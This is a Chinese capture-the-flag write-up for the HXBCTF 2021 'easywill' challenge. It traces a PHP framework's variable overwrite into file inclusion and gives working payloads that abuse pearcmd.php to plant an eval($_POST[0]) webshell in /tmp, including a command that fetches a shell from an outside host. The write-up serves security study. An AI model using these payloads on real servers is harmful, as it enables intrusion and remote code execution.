[HXBCTF 2021]easywill
这道题需要我们下载框架源码,自行修改审计,没找到2.1.5的源码,将就下用最新的吧
下面开始审计,修改app/controller/IndexController.php 的内容与题目给出的一致
我们跟进assign函数
然后继续跟进assign,到helper.php
继续跟进到View.php
我们退回到helper.php
再看view函数
1 | function view($file = '', $vars = []) { |
跟进到View..php
1 | public static function fetch($file = '', $vars = []) { |
跟进render,进入Tempate.php
1 | public static function renderTo($viewfile, $vars = []) { |
可以看到存在变量覆盖以及文件包含
所以这里构造
1 | Copyname=cfile & value=想写入的内容 即可形成文件包含漏洞 |
当我们开启远程debug后我们测试**?name=cfile&value=AAAA,可以看到$cfile=AAAA**
所以这里可以写入shell到tmp目录,关于pearcmd.php,可见详解
出网的利用姿势
1 | Copypear install -R /tmp http://xxxxxxx/shell.php |
不出网的利用姿势
1 | Copypear -c /tmp/.feng.php -d man_dir=eval($_POST[0]); -s |
所以最终payload
1 | Copy?name=cfile&value=/usr/local/lib/php/pearcmd.php&+config-create+/eval($_POST[0]) +/tmp/aa.php |
这里要千万注意,不能直接到url里构造,否则<>
会被url编码,我们写的shell就不会被解析了,所以我们要移步到burp中写
写入成功
接着我们尝试执行phpinfo查看是否真正写入成功
1 | Copyhttp://53bb636f-9fbc-43f2-bd4a-be7c1efff83a.node4.buuoj.cn:81/?name=cfile&value=/tmp/aa.php |
可以看到,的确成功了,接着查看根目录下的文件
看到flag文件,打开即可获得flag
参考:https://www.cnblogs.com/phant0m/articles/16450670.html
https://blog.csdn.net/weixin_43610673/article/details/121369384